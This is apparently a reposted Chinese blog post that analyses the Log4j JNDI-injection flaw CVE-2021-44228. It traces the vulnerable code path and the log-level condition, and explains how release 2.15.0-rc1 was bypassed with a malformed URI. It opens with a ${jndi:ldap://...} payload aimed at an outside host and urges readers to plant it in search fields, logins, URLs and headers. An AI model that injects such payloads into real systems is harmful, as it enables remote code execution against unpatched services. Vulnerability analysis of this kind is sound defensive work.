一、 利用代码
${jndi:ldap://dnslog.com/exp}
重磅漏洞,CVE-2021-44228
正如朋友圈各种传播的,把这段代码放在各种地方X就行了,包括各种搜索/登录/id等可以传参的地方,甚至包括url和header均有机会获取dnslog记录。
要shell就参考java的jndi注入了,我之前的文章提到过很多次了,就不赘述了。
因为是log,还是常用组件,所以影响非常非常大,刚出来就已经玩坏了,比如百度搜索框就可以直接dnslog。当然现在各种waf各种filter已经加入过滤了。
而且还可以设想多个场景,有时候并不是直接打到web服务,而是打到日志服务器啥的,甚至可能发生waf想捕获恶意请求,反而因为waf也用这个记录log导致waf被打了,又或者用idea插件或者自动代审工具去审,也中招了。
总之只要存在这么一段payload,流传到奇奇怪怪的地方都有可能中招,甚至包括idea,java游戏等等。
二、 代码分析
依赖log4j-api-2.14.1.jar/log4j-core-2.14.1.jar
package test;
import org.apache.logging.log4j.LogManager;
import org.apache.logging.log4j.Logger;
public class Logjndi {
private static final Logger logger = LogManager.getLogger();
public static void main(String[] args) {
String payload = "${jndi:ldap://127.0.0.1:5667/exp}";
logger.error(payload);
}
}
直接在org.apache.logging.log4j.core.lookup.JndiLookup.lookup()下断点即可
在org.apache.logging.log4j.core.layout.PatternLayout.toSerializable()中,会不断轮询this.formatters中的converter,一段一段拼接成buffer,得到最终的log。
public StringBuilder toSerializable(final LogEvent event, final StringBuilder buffer) {
final int len = formatters.length;
for (int i = 0; i < len; i++) {
formatters[i].format(event, buffer);
}
if (replace != null) { // creates temporary objects
String str = buffer.toString();
str = replace.format(str);
buffer.setLength(0);
buffer.append(str);
}
return buffer;
}
轮询到MessagePatternConverter时,在org.apache.logging.log4j.core.pattern.MessagePatternConverter.format()中发现了对于【${】符号的判断。
if (workingBuilder.charAt(i) == '$' && workingBuilder.charAt(i + 1) == '{') {
final String value = workingBuilder.substring(offset, workingBuilder.length());
workingBuilder.setLength(offset);
workingBuilder.append(config.getStrSubstitutor().replace(event, value));
}
识别到之进入org.apache.logging.log4j.core.lookup.StrSubstitutor.replace()
继续追踪,可以看到jndi格式的字符串处理是在org.apache.logging.log4j.core.lookup.StrSubstitutor.substitute()完成的。
if (nestedVarCount == 0) {
String varNameExpr = new String(chars, startPos + startMatchLen, pos - startPos - startMatchLen);
if (substitutionInVariablesEnabled) {
final StringBuilder bufName = new StringBuilder(varNameExpr);
substitute(event, bufName, 0, bufName.length());
varNameExpr = bufName.toString();
}
之后就是常规的lookup了。
org.apache.logging.log4j.core.lookup.Interpolator.lookup()
这漏洞太过直白,怎么都像个正常功能,于是有小伙伴翻了翻手册,还真是。
https://logging.apache.org/log4j/2.x/manual/lookups.html
所以说太离谱了。
除了error()之外,fatal()也会产生漏洞,而info(),debug()等则不会。
原因可以在org.apache.logging.log4j.spi.AbstractLogger中看到。
Level.DEBUG的intLevel属性为500
error为200,fatal为100,info为400,trace为600,warn为300。
在org.apache.logging.log4j.core.Logger$PrivateConfig.filter()中做了判断,如果200大于等于intLevel,才会执行logMessage(),继而向后触发jndi。
boolean filter(final Level level, final Marker marker, final String msg, final Throwable t) {
final Filter filter = config.getFilter();
if (filter != null) {
final Filter.Result r = filter.filter(logger, level, marker, (Object) msg, t);
if (r != Filter.Result.NEUTRAL) {
return r == Filter.Result.ACCEPT;
}
}
return level != null && intLevel >= level.intLevel();
}
当然这只是默认的情况下,level本身是可以调节的。
三、 rc1绕过
官方更新到2.15.0-rc1,但很快被绕过了。
https://github.com/apache/logging-log4j2/archive/refs/tags/log4j-2.15.0-rc1.zip
来看修复方案,位于org.apache.logging.log4j.core.pattern.MessagePatternConverter
可以看到,多出了几个内部私有类,原来检查【${】的代码移到了LookupMessagePatternConverterz.format()中。
private static final class LookupMessagePatternConverter extends MessagePatternConverter {
private final MessagePatternConverter delegate;
private final Configuration config;
LookupMessagePatternConverter(final MessagePatternConverter delegate, final Configuration config) {
this.delegate = delegate;
this.config = config;
}
/**
* {@inheritDoc}
*/
public void format(final LogEvent event, final StringBuilder toAppendTo) {
int start = toAppendTo.length();
delegate.format(event, toAppendTo);
int indexOfSubstitution = toAppendTo.indexOf("${", start);
if (indexOfSubstitution >= 0) {
config.getStrSubstitutor()
.replaceIn(event, toAppendTo, indexOfSubstitution, toAppendTo.length() - indexOfSubstitution);
}
}
}
想要创建LookupMessagePatternConverterz,需要一个存在lookups的列表options。
private static final String LOOKUPS = "lookups";
…
private static boolean loadLookups(final String[] options) {
if (options != null) {
for (final String option : options) {
if (LOOKUPS.equalsIgnoreCase(option)) {
return true;
}
}
}
return false;
}
…
public static MessagePatternConverter newInstance(final Configuration config, final String[] options) {
boolean lookups = loadLookups(options);
String[] formats = withoutLookupOptions(options);
TextRenderer textRenderer = loadMessageRenderer(formats);
MessagePatternConverter result = formats == null || formats.length == 0
? SimpleMessagePatternConverter.INSTANCE
: new FormattedMessagePatternConverter(formats);
if (lookups && config != null) {
result = new LookupMessagePatternConverter(result, config);
}
if (textRenderer != null) {
result = new RenderingPatternConverter(result, textRenderer);
}
return result;
}
这个怎么触发呢?翻文档可以发现需要使用%m{lookups}
https://logging.apache.org/log4j/2.x/manual/configuration.html
也就是说需要xml或者properties文件,以下是网上随便找的一份参考文件log4j2.properties,放在classpath目录即可。
##The level of internal Log4j events. Set to trace is one way to troubleshoot log4j. Do not care the name, it can be any word.
status = info
name = TestPropertiesConfig
appenders = console, rolling1, rolling2
##First appender: 將log輸出到console
##name可自訂
appender.console.type = Console
appender.console.name = stdout
appender.console.layout.type = PatternLayout
appender.console.layout.pattern = [%-5p] [%d{yyyy/MM/dd HH:mm:ss:SSS} %C-%M] : %m%n
appender.console.target = System_out
##Second appender: 將log輸出到檔案,並每天做rollover
##name可自訂
##filePattern: rollover時,舊log的命名規則
##append: 重啟tomcat時,是否要先清除log file內容,還是直接append在最後
##Polices: RollingFile可設定依照時間還是檔案大小做rollover。這裡設置TimeBasedTriggeringPolicy代表根據時間做rollover
##interval: 根據filePattern決定,e.g.: interval=1,filePattern最小時間粒度為day,則每天觸發一次rollover (同理可設每小時、每分鐘做rollover)
##modulate官方解釋:Indicates whether the interval should be adjusted to cause the next rollover to occur on the interval boundary.
##DefaultRolloverStrategy: 預設策略會保留指定份數的log,過舊的會被刪除。這裡設置保留10份
appender.rolling1.type = RollingFile
appender.rolling1.name = dailyfile
appender.rolling1.fileName = D:/logs/daily/daily.log
appender.rolling1.filePattern = D:/logs/daily/daily-%d{yyyy-MM-dd}.log
appender.rolling1.layout.type = PatternLayout
appender.rolling1.layout.pattern = [%-5p] [%d{yyyy/MM/dd HH:mm:ss:SSS} %C-%M] : %m%n
appender.rolling1.append = true
appender.rolling1.policies.type = Policies
appender.rolling1.policies.time.type = TimeBasedTriggeringPolicy
appender.rolling1.policies.time.interval = 1
appender.rolling1.policies.time.modulate = true
appender.rolling1.strategy.type = DefaultRolloverStrategy
appender.rolling1.strategy.max = 10
##Third appender:只將error等級以上的log記錄到檔案,一樣採rolling file形式
##由於上面已經定義了appender.rolling1,這裡需取不一樣的名稱(appender.rolling2)否則會報錯
##ThresholdFilter: 指定log level threshold
##SizeBasedTriggeringPolicy: 與上面不同,這裡設定檔案大小超過2MB則會做rollover
appender.rolling2.type = RollingFile
appender.rolling2.name = errfile
appender.rolling2.filter.threshold.type = ThresholdFilter
appender.rolling2.filter.threshold.level = error
appender.rolling2.fileName = D:/logs/exception/error.log
appender.rolling2.filePattern = D:/logs/exception/error-%d{yyyy-MM-dd}-%i.log
appender.rolling2.layout.type = PatternLayout
appender.rolling2.layout.pattern = [%-5p] [%d{yyyy/MM/dd HH:mm:ss:SSS} %C-%M] : %m{lookups}%n
appender.rolling2.append = true
appender.rolling2.policies.type = Policies
appender.rolling2.policies.size.type = SizeBasedTriggeringPolicy
appender.rolling2.policies.size.size=2MB
appender.rolling2.strategy.type = DefaultRolloverStrategy
appender.rolling2.strategy.max = 5
##Logger Mapping
##文件結尾一定要設置rootLogger並指定要套用此logger的appender
##這裡設置的意思是: 無論stdout appender、dailyfile appender、errfile appender,只要log level是info以上就會觸發相對應的配置
##然而,errfile appender有額外設定ThresholdFilter,所以必須在error level以上才會觸發
rootLogger.level = info
rootLogger.appenderRef.consolelogdemo.ref = stdout
rootLogger.appenderRef.filelogdemo.ref = dailyfile
rootLogger.appenderRef.filelogdemo2.ref = errfile
也就是说原来log4j2.formatMsgNoLookups=true的开关被淘汰了,现在变成了%m{lookups}。rc1存在什么绕过呢?其实是在开启lookups的情况下,绕过host防护,见org.apache.logging.log4j.core.net.JndiManager.lookup()
if (!allowedHosts.contains(uri.getHost())) {
LOGGER.warn("Attempt to access ldap server not in allowed list");
return null;
}
判断了是否为本地地址,也就是说即使开启了lookups,也无法连接恶意服务器了。
但在此之前有个生成url类的操作。
public synchronized <T> T lookup(final String name) throws NamingException {
try {
URI uri = new URI(name);
并且rc1相比于rc2,try报错时居然没有返回null,而是继续向下执行。
https://github.com/apache/logging-log4j2/compare/log4j-2.15.0-rc1…log4j-2.15.0-rc2#diff-271353c1076e53f6893261e4420de27d34588bfd782806b5c66a3465c43b7f51
这个This is OK的注释看起来非常讽刺,于是github上有人提出,使用错误url,也就是/exp部分携带空格,会导致URI uri = new URI(name);代码报错,跳过host检验。
于是官方很快修复发布了rc2。由于需要开启lookup,现在看起来rc1的绕过影响范围应该是非常有限的。
四、 各种tips
略过,见浅蓝博客
https://b1ue.cn/archives/513.html
五、 使用了log4j的第三方项目
略过,见
https://github.com/YfryTchsGD/Log4jAttackSurface
原文始发于微信公众号(珂技知识分享):log4j组件jndi注入